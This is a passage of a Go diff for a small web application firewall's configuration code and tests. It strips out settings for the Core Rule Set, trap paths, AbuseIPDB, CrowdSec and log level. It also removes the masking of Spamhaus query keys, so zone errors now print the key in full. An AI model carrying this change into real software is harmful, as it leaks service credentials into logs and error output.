@@ -1131,37 +924,6 @@ func (e *environment) v6Prefix(name, defaultValue string) int {
|
|||||||
return length
|
return length
|
||||||
}
|
}
|
||||||
|
|
||||||
// ipv6GroupPrefix reads the setting that is the length of the IPv6
|
|
||||||
// netblock that is one client, from minIPv6GroupPrefix to 128.
|
|
||||||
func (e *environment) ipv6GroupPrefix(name, defaultValue string) int {
|
|
||||||
value := e.value(name, defaultValue)
|
|
||||||
|
|
||||||
length, err := strconv.Atoi(value)
|
|
||||||
if err != nil || length < minIPv6GroupPrefix || length > ipv6Bits {
|
|
||||||
e.check(name, fmt.Errorf("%q %w", value, errNotIPv6GroupPrefix))
|
|
||||||
}
|
|
||||||
|
|
||||||
return length
|
|
||||||
}
|
|
||||||
|
|
||||||
// logLevel reads the setting that is the least severe of the process's
|
|
||||||
// own messages that are written: debug, info, warn or error.
|
|
||||||
func (e *environment) logLevel(name, defaultValue string) slog.Level {
|
|
||||||
value := e.value(name, defaultValue)
|
|
||||||
|
|
||||||
level, known := map[string]slog.Level{
|
|
||||||
"debug": slog.LevelDebug,
|
|
||||||
"info": slog.LevelInfo,
|
|
||||||
"warn": slog.LevelWarn,
|
|
||||||
"error": slog.LevelError,
|
|
||||||
}[value]
|
|
||||||
if !known {
|
|
||||||
e.check(name, fmt.Errorf("%q %w", value, errNotLogLevel))
|
|
||||||
}
|
|
||||||
|
|
||||||
return level
|
|
||||||
}
|
|
||||||
|
|
||||||
// thresholds reads the four anomaly thresholds whose settings' names
|
// thresholds reads the four anomaly thresholds whose settings' names
|
||||||
// start with prefix: requests and bytes per minute and per hour. Each is
|
// start with prefix: requests and bytes per minute and per hour. Each is
|
||||||
// off by default.
|
// off by default.
|
||||||
@@ -1339,10 +1101,10 @@ func (e *environment) webhookHeaders(name string) http.Header {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// secret reads a setting that is a secret another service gave, such as
|
// secret reads a setting that is a secret another service gave, such as
|
||||||
// an ntfy token or an AbuseIPDB key, "" while it is unset. It is sent in
|
// an ntfy token, "" while it is unset. It is sent in a header, which
|
||||||
// a header, which cannot hold a control character, so one in it is an
|
// cannot hold a control character, so one in it is an error. The log
|
||||||
// error. The log shows ******** in place of a value that is not empty, and
|
// shows ******** in place of a value that is not empty, and an error
|
||||||
// an error shows none of it.
|
// shows none of it.
|
||||||
func (e *environment) secret(name string) string {
|
func (e *environment) secret(name string) string {
|
||||||
value, _ := e.lookup(name)
|
value, _ := e.lookup(name)
|
||||||
|
|
||||||
@@ -1445,22 +1207,6 @@ func parseHeaderSize(value string) (int64, error) {
|
|||||||
return size, nil
|
return size, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
|
|
||||||
// reads: a size as parseSize reads it, or off, but at most 1G, since
|
|
||||||
// Coraza, which runs the Core Rule Set, refuses to load with more.
|
|
||||||
func parseWAFBodyLimit(value string) (int64, error) {
|
|
||||||
limit, err := parseSize(value)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
|
|
||||||
if limit > gibibyte {
|
|
||||||
return 0, fmt.Errorf("%q %w", value, errOver1G)
|
|
||||||
}
|
|
||||||
|
|
||||||
return limit, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// splitUnit splits a size into its number and the bytes its suffix
|
// splitUnit splits a size into its number and the bytes its suffix
|
||||||
// stands for.
|
// stands for.
|
||||||
func splitUnit(value string) (string, int64) {
|
func splitUnit(value string) (string, int64) {
|
||||||
@@ -1663,49 +1409,6 @@ func parsePathPrefixes(value string) ([]string, error) {
|
|||||||
return prefixes, nil
|
return prefixes, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseTrapPaths reads a comma-separated list of trap paths. Each is
|
|
||||||
// matched against a request's path as a path rule is, without the query,
|
|
||||||
// so a path that does not start with / or holds a ? would never match.
|
|
||||||
func parseTrapPaths(value string) ([]string, error) {
|
|
||||||
paths, err := parseList(value)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, path := range paths {
|
|
||||||
if !strings.HasPrefix(path, "/") || strings.Contains(path, "?") {
|
|
||||||
return nil, fmt.Errorf("%q %w", path, errNotTrapPath)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return paths, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
|
|
||||||
// rules, each a whole number above zero and outside firstSetupRuleID to
|
|
||||||
// lastSetupRuleID.
|
|
||||||
func parseRuleIDs(value string) ([]int, error) {
|
|
||||||
items, err := parseList(value)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
ids := make([]int, len(items))
|
|
||||||
|
|
||||||
for i, item := range items {
|
|
||||||
ids[i], err = strconv.Atoi(item)
|
|
||||||
if err != nil || ids[i] <= 0 {
|
|
||||||
return nil, fmt.Errorf("%q %w", item, errNotRuleID)
|
|
||||||
}
|
|
||||||
|
|
||||||
if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID {
|
|
||||||
return nil, fmt.Errorf("%q %w", item, errSetupRuleID)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return ids, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
|
// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
|
||||||
// the code in common use for Kosovo. golang.org/x/text/language cannot
|
// the code in common use for Kosovo. golang.org/x/text/language cannot
|
||||||
// check them: it also takes withdrawn codes such as su, and reserved ones
|
// check them: it also takes withdrawn codes such as su, and reserved ones
|
||||||
@@ -2058,55 +1761,27 @@ const (
|
|||||||
// letters, digits and hyphens, neither starting nor ending with a hyphen,
|
// letters, digits and hyphens, neither starting nor ending with a hyphen,
|
||||||
// and at most maxZoneLength characters in all. Go's resolver takes any
|
// and at most maxZoneLength characters in all. Go's resolver takes any
|
||||||
// other name for one that does not exist, so that the zone would list no
|
// other name for one that does not exist, so that the zone would list no
|
||||||
// client. A zone listed twice is an error, whatever the case of its
|
// client. A zone listed twice is an error.
|
||||||
// letters, which DNS names ignore, and whatever its key, since
|
|
||||||
// MaskZoneKey shows two keys of one zone alike. An error shows a zone as
|
|
||||||
// MaskZoneKey does.
|
|
||||||
func parseZones(value string) ([]string, error) {
|
func parseZones(value string) ([]string, error) {
|
||||||
zones, err := parseList(value)
|
zones, err := parseList(value)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// parseList's error, for an empty item, shows the whole value, keys
|
return nil, err
|
||||||
// included.
|
|
||||||
return nil, errEmptyItem
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for i, zone := range zones {
|
for i, zone := range zones {
|
||||||
shown := MaskZoneKey(zone)
|
|
||||||
listedBefore := slices.ContainsFunc(zones[:i], func(earlier string) bool {
|
|
||||||
return strings.EqualFold(MaskZoneKey(earlier), shown)
|
|
||||||
})
|
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case len(zone) > maxZoneLength:
|
case len(zone) > maxZoneLength:
|
||||||
return nil, fmt.Errorf("%q %w", shown, errZoneTooLong)
|
return nil, fmt.Errorf("%q %w", zone, errZoneTooLong)
|
||||||
case !isZone(zone):
|
case !isZone(zone):
|
||||||
return nil, fmt.Errorf("%q %w", shown, errNotZone)
|
return nil, fmt.Errorf("%q %w", zone, errNotZone)
|
||||||
case listedBefore:
|
case slices.Contains(zones[:i], zone):
|
||||||
return nil, fmt.Errorf("%q %w", shown, errListedTwice)
|
return nil, fmt.Errorf("%q %w", zone, errListedTwice)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return zones, nil
|
return zones, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// MaskZoneKey returns zone with ******** in place of its key, if it is a
|
|
||||||
// zone of Spamhaus's keyed query service, a name under dq.spamhaus.net,
|
|
||||||
// such as <key>.xbl.dq.spamhaus.net, whose first label is the key. Any
|
|
||||||
// other zone it returns as it is. A zone is shown so wherever it leaves
|
|
||||||
// the process: in the log, the alerts and the metrics.
|
|
||||||
func MaskZoneKey(zone string) string {
|
|
||||||
// DNS names ignore case, and a name may be written with a dot at its
|
|
||||||
// end.
|
|
||||||
name := strings.TrimSuffix(strings.ToLower(zone), ".")
|
|
||||||
if !strings.HasSuffix(name, ".dq.spamhaus.net") {
|
|
||||||
return zone
|
|
||||||
}
|
|
||||||
|
|
||||||
_, rest, _ := strings.Cut(zone, ".")
|
|
||||||
|
|
||||||
return masked + "." + rest
|
|
||||||
}
|
|
||||||
|
|
||||||
// isZone reports whether each label of zone is as parseZones takes it.
|
// isZone reports whether each label of zone is as parseZones takes it.
|
||||||
func isZone(zone string) bool {
|
func isZone(zone string) bool {
|
||||||
for label := range strings.SplitSeq(zone, ".") {
|
for label := range strings.SplitSeq(zone, ".") {
|
||||||
|
|||||||
@@ -27,8 +27,6 @@ const (
|
|||||||
upstreamURL = "SWWAF_UPSTREAM_URL"
|
upstreamURL = "SWWAF_UPSTREAM_URL"
|
||||||
mode = "SWWAF_MODE"
|
mode = "SWWAF_MODE"
|
||||||
trustedProxies = "SWWAF_TRUSTED_PROXIES"
|
trustedProxies = "SWWAF_TRUSTED_PROXIES"
|
||||||
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX"
|
|
||||||
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS"
|
|
||||||
clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT"
|
clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT"
|
||||||
clientHeaderMaxBytes = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES"
|
clientHeaderMaxBytes = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES"
|
||||||
clientIdleTimeout = "SWWAF_CLIENT_IDLE_TIMEOUT"
|
clientIdleTimeout = "SWWAF_CLIENT_IDLE_TIMEOUT"
|
||||||
@@ -65,14 +63,9 @@ const (
|
|||||||
blocklistAction = "SWWAF_BLOCKLIST_ACTION"
|
blocklistAction = "SWWAF_BLOCKLIST_ACTION"
|
||||||
dnsblZones = "SWWAF_DNSBL_ZONES"
|
dnsblZones = "SWWAF_DNSBL_ZONES"
|
||||||
dnsblResolver = "SWWAF_DNSBL_RESOLVER"
|
dnsblResolver = "SWWAF_DNSBL_RESOLVER"
|
||||||
abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY"
|
|
||||||
abuseIPDBMinScore = "SWWAF_ABUSEIPDB_MIN_SCORE"
|
|
||||||
abuseIPDBDailyBudget = "SWWAF_ABUSEIPDB_DAILY_BUDGET"
|
|
||||||
reputationAction = "SWWAF_REPUTATION_ACTION"
|
reputationAction = "SWWAF_REPUTATION_ACTION"
|
||||||
reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL"
|
reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL"
|
||||||
reputationTimeout = "SWWAF_REPUTATION_TIMEOUT"
|
reputationTimeout = "SWWAF_REPUTATION_TIMEOUT"
|
||||||
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL"
|
|
||||||
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY"
|
|
||||||
banResponse = "SWWAF_BAN_RESPONSE"
|
banResponse = "SWWAF_BAN_RESPONSE"
|
||||||
limitBanDuration = "SWWAF_LIMIT_BAN_DURATION"
|
limitBanDuration = "SWWAF_LIMIT_BAN_DURATION"
|
||||||
limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
|
limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
|
||||||
@@ -88,17 +81,8 @@ const (
|
|||||||
metricsTopN = "SWWAF_METRICS_TOP_N"
|
metricsTopN = "SWWAF_METRICS_TOP_N"
|
||||||
instanceName = "SWWAF_INSTANCE_NAME"
|
instanceName = "SWWAF_INSTANCE_NAME"
|
||||||
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
|
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
|
||||||
logLevel = "SWWAF_LOG_LEVEL"
|
|
||||||
rulesDir = "SWWAF_RULES_DIR"
|
rulesDir = "SWWAF_RULES_DIR"
|
||||||
rulesEnabled = "SWWAF_RULES_ENABLED"
|
rulesEnabled = "SWWAF_RULES_ENABLED"
|
||||||
wafMode = "SWWAF_WAF_MODE"
|
|
||||||
wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL"
|
|
||||||
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
|
|
||||||
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
|
|
||||||
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
|
|
||||||
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
|
|
||||||
trapPaths = "SWWAF_TRAP_PATHS"
|
|
||||||
errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
|
|
||||||
logRemoteURL = "SWWAF_LOG_REMOTE_URL"
|
logRemoteURL = "SWWAF_LOG_REMOTE_URL"
|
||||||
logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE"
|
logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE"
|
||||||
logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER"
|
logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER"
|
||||||
@@ -176,9 +160,6 @@ const (
|
|||||||
// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
|
// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
|
||||||
const defaultReputationCacheTTL = "24h"
|
const defaultReputationCacheTTL = "24h"
|
||||||
|
|
||||||
// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
|
|
||||||
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
|
|
||||||
|
|
||||||
// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
|
// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
|
||||||
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
|
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
|
||||||
"content-type,origin,range"
|
"content-type,origin,range"
|
||||||
@@ -415,57 +396,6 @@ func TestValuesAsSet(t *testing.T) {
|
|||||||
wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE")
|
wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
env environment
|
|
||||||
prefix, clients int
|
|
||||||
level slog.Level
|
|
||||||
}{
|
|
||||||
{environment{}, 64, 20000, slog.LevelInfo},
|
|
||||||
{
|
|
||||||
environment{ipv6GroupPrefix: "48", maxTrackedClients: "500", logLevel: "warn"},
|
|
||||||
48, 500, slog.LevelWarn,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
cfg := fromEnvironment(t, tc.env)
|
|
||||||
if cfg.IPv6GroupPrefix != tc.prefix || cfg.MaxTrackedClients != tc.clients ||
|
|
||||||
cfg.LogLevel != tc.level {
|
|
||||||
t.Errorf("%v gave %d, %d and %v, want %d, %d and %v", tc.env,
|
|
||||||
cfg.IPv6GroupPrefix, cfg.MaxTrackedClients, cfg.LogLevel,
|
|
||||||
tc.prefix, tc.clients, tc.level)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestIPv6GroupPrefixFrom32To128(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, length := range []int{32, 128} {
|
|
||||||
cfg := fromEnvironment(t, environment{ipv6GroupPrefix: strconv.Itoa(length)})
|
|
||||||
if cfg.IPv6GroupPrefix != length {
|
|
||||||
t.Errorf("%s=%d gave %d", ipv6GroupPrefix, length, cfg.IPv6GroupPrefix)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestEachLogLevel(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for value, want := range map[string]slog.Level{
|
|
||||||
"debug": slog.LevelDebug,
|
|
||||||
"info": slog.LevelInfo,
|
|
||||||
"warn": slog.LevelWarn,
|
|
||||||
"error": slog.LevelError,
|
|
||||||
} {
|
|
||||||
cfg := fromEnvironment(t, environment{logLevel: value})
|
|
||||||
if cfg.LogLevel != want {
|
|
||||||
t.Errorf("%s=%s gave %v, want %v", logLevel, value, cfg.LogLevel, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestByteLimitSettingsAsSet(t *testing.T) {
|
func TestByteLimitSettingsAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -506,188 +436,6 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTrapPathsAndErrorBurstThreshold(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
env environment
|
|
||||||
paths []string
|
|
||||||
threshold int64
|
|
||||||
}{
|
|
||||||
{environment{}, []string{}, 30},
|
|
||||||
{
|
|
||||||
environment{trapPaths: "/wp-login.php, /xmlrpc.php", errorBurstThreshold: "5"},
|
|
||||||
[]string{"/wp-login.php", "/xmlrpc.php"}, 5,
|
|
||||||
},
|
|
||||||
{environment{errorBurstThreshold: off}, []string{}, 0},
|
|
||||||
} {
|
|
||||||
cfg := fromEnvironment(t, tc.env)
|
|
||||||
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
|
|
||||||
cfg.ErrorBurstThreshold != tc.threshold {
|
|
||||||
t.Errorf("%v gave %v and %d, want %v and %d", tc.env, cfg.TrapPaths,
|
|
||||||
cfg.ErrorBurstThreshold, tc.paths, tc.threshold)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const notTrapPath = " is not a path starting with / and without a ?, " +
|
|
||||||
"such as /wp-login.php"
|
|
||||||
|
|
||||||
for _, tc := range []struct{ name, value, want string }{
|
|
||||||
{trapPaths, "/wp-login.php,xmlrpc.php", `"xmlrpc.php"` + notTrapPath},
|
|
||||||
{trapPaths, "/xmlrpc.php?rsd", `"/xmlrpc.php?rsd"` + notTrapPath},
|
|
||||||
{
|
|
||||||
trapPaths, "/wp-login.php,,/xmlrpc.php",
|
|
||||||
`"/wp-login.php,,/xmlrpc.php" has an empty item in its list`,
|
|
||||||
},
|
|
||||||
{errorBurstThreshold, "0", `"0" must be more than zero, or off`},
|
|
||||||
{
|
|
||||||
errorBurstThreshold, "30/min",
|
|
||||||
`"30/min" is not a whole number of requests such as 1000, or off`,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
|
||||||
if err == nil || err.Error() != want {
|
|
||||||
t.Errorf("error %v, want %s", err, want)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCoreRuleSetSettings(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
env environment
|
|
||||||
want config.Config
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
environment{},
|
|
||||||
config.Config{
|
|
||||||
WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5,
|
|
||||||
WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140},
|
|
||||||
WAFExemptPaths: []string{},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
environment{
|
|
||||||
wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
|
|
||||||
wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
|
|
||||||
wafBodyLimit: "128K",
|
|
||||||
},
|
|
||||||
config.Config{
|
|
||||||
WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
|
|
||||||
WAFDisabledRules: []int{942100, 920350},
|
|
||||||
WAFExemptPaths: []string{"/api/", "/static/"},
|
|
||||||
WAFBodyLimit: 128 << 10,
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
environment{
|
|
||||||
wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: "",
|
|
||||||
wafBodyLimit: off,
|
|
||||||
},
|
|
||||||
config.Config{
|
|
||||||
WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0,
|
|
||||||
WAFDisabledRules: []int{}, WAFExemptPaths: []string{},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
cfg := fromEnvironment(t, tc.env)
|
|
||||||
|
|
||||||
got := config.Config{
|
|
||||||
WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel,
|
|
||||||
WAFAnomalyThreshold: cfg.WAFAnomalyThreshold,
|
|
||||||
WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths,
|
|
||||||
WAFBodyLimit: cfg.WAFBodyLimit,
|
|
||||||
}
|
|
||||||
if !reflect.DeepEqual(got, tc.want) {
|
|
||||||
t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWAFBodyLimitOf1G(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{wafBodyLimit: "1G"})
|
|
||||||
if cfg.WAFBodyLimit != 1<<30 {
|
|
||||||
t.Errorf("1G read as %d", cfg.WAFBodyLimit)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
notParanoiaLevel = " is not a paranoia level, from 1 to 4"
|
|
||||||
setupRule = " is from 900000 to 900999, the ids of the rules that set " +
|
|
||||||
"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off"
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ name, value, want string }{
|
|
||||||
{wafMode, "enforce", `"enforce" is not off, detect or block`},
|
|
||||||
{wafParanoiaLevel, "0", `"0"` + notParanoiaLevel},
|
|
||||||
{wafParanoiaLevel, "5", `"5"` + notParanoiaLevel},
|
|
||||||
{wafParanoiaLevel, off, `"off"` + notParanoiaLevel},
|
|
||||||
{
|
|
||||||
wafAnomalyThreshold, "0",
|
|
||||||
`"0" is not a whole number above zero, such as 60, or off`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
wafDisabledRules, "920340,REQUEST-920",
|
|
||||||
`"REQUEST-920" is not the id of a Core Rule Set rule, ` +
|
|
||||||
`a whole number such as 942100`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
wafDisabledRules, "-942100",
|
|
||||||
`"-942100" is not the id of a Core Rule Set rule, ` +
|
|
||||||
`a whole number such as 942100`,
|
|
||||||
},
|
|
||||||
// The paranoia level, the allowed methods, the headers refused, a
|
|
||||||
// request with more query parameters than Coraza keeps, and a body
|
|
||||||
// Coraza cannot parse or that fails its strict checks.
|
|
||||||
{wafDisabledRules, "942100,900000", `"900000"` + setupRule},
|
|
||||||
{wafDisabledRules, "942100,900200", `"900200"` + setupRule},
|
|
||||||
{wafDisabledRules, "942100,900250", `"900250"` + setupRule},
|
|
||||||
{wafDisabledRules, "942100,900300", `"900300"` + setupRule},
|
|
||||||
{wafDisabledRules, "942100,900440", `"900440"` + setupRule},
|
|
||||||
{wafDisabledRules, "942100,900450", `"900450"` + setupRule},
|
|
||||||
{
|
|
||||||
wafExemptPaths, "api/",
|
|
||||||
`"api/" is not a path prefix starting with /, such as /assets/`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
wafBodyLimit, "128KB",
|
|
||||||
`"128KB" is not a size such as 512K, 100M or 5G, or off`,
|
|
||||||
},
|
|
||||||
{wafBodyLimit, "2G", `"2G" is more than 1G, the most Coraza reads`},
|
|
||||||
{
|
|
||||||
wafBodyLimit, "1073741825",
|
|
||||||
`"1073741825" is more than 1G, the most Coraza reads`,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
|
||||||
|
|
||||||
want := tc.name + ": " + tc.want
|
|
||||||
if err == nil || err.Error() != want {
|
|
||||||
t.Errorf("error %v, want %s", err, want)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
|
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -1583,13 +1331,10 @@ func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// dronebl is a DNSBL zone, and spamhaus one of Spamhaus's, a name
|
// dronebl is a DNSBL zone, and spamhaus one of Spamhaus's, a name
|
||||||
// containing spamhausKey, the key of its keyed query service, which the
|
// containing the key of its keyed query service.
|
||||||
// log shows as spamhausMasked.
|
|
||||||
const (
|
const (
|
||||||
dronebl = "dnsbl.dronebl.org"
|
dronebl = "dnsbl.dronebl.org"
|
||||||
spamhausKey = "abcdefghijklmnopqrstuvwxyz"
|
spamhaus = "abcdefghijklmnopqrstuvwxyz.xbl.dq.spamhaus.net"
|
||||||
spamhaus = spamhausKey + ".xbl.dq.spamhaus.net"
|
|
||||||
spamhausMasked = "********.xbl.dq.spamhaus.net"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestDNSBLSettingsAsSet(t *testing.T) {
|
func TestDNSBLSettingsAsSet(t *testing.T) {
|
||||||
@@ -1685,8 +1430,6 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|||||||
dnsblZones, dronebl + "," + spamhaus + "," + dronebl,
|
dnsblZones, dronebl + "," + spamhaus + "," + dronebl,
|
||||||
`"` + dronebl + `" is listed twice`,
|
`"` + dronebl + `" is listed twice`,
|
||||||
},
|
},
|
||||||
// DNS names ignore case.
|
|
||||||
{dnsblZones, "dnsbl.example,DNSBL.example", `"DNSBL.example" is listed twice`},
|
|
||||||
{dnsblResolver, "resolver.example", `"resolver.example"` + notResolver},
|
{dnsblResolver, "resolver.example", `"resolver.example"` + notResolver},
|
||||||
{dnsblResolver, "192.0.2.53:0", `"192.0.2.53:0"` + notResolver},
|
{dnsblResolver, "192.0.2.53:0", `"192.0.2.53:0"` + notResolver},
|
||||||
{dnsblResolver, "192.0.2.53:65536", `"192.0.2.53:65536"` + notResolver},
|
{dnsblResolver, "192.0.2.53:65536", `"192.0.2.53:65536"` + notResolver},
|
||||||
@@ -1711,258 +1454,6 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for zone, want := range map[string]string{
|
|
||||||
spamhaus: spamhausMasked,
|
|
||||||
spamhaus + ".": spamhausMasked + ".",
|
|
||||||
"KEY.ZEN.DQ.SPAMHAUS.NET": "********.ZEN.DQ.SPAMHAUS.NET",
|
|
||||||
dronebl: dronebl,
|
|
||||||
"dq.spamhaus.net": "dq.spamhaus.net",
|
|
||||||
spamhaus + ".example": spamhaus + ".example",
|
|
||||||
} {
|
|
||||||
if got := config.MaskZoneKey(zone); got != want {
|
|
||||||
t.Errorf("MaskZoneKey(%q) is %q, want %q", zone, got, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
cfg := fromEnvironment(t, environment{dnsblZones: dronebl + ", " + spamhaus})
|
|
||||||
|
|
||||||
var out bytes.Buffer
|
|
||||||
|
|
||||||
slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg)
|
|
||||||
|
|
||||||
logged := out.String()
|
|
||||||
if strings.Contains(logged, spamhausKey) ||
|
|
||||||
!strings.Contains(logged, `"`+dnsblZones+`":"`+dronebl+","+spamhausMasked+`"`) {
|
|
||||||
t.Errorf("the zones are not logged with the key masked: %s", logged)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Nor does an error that stops the start show a key, in any case.
|
|
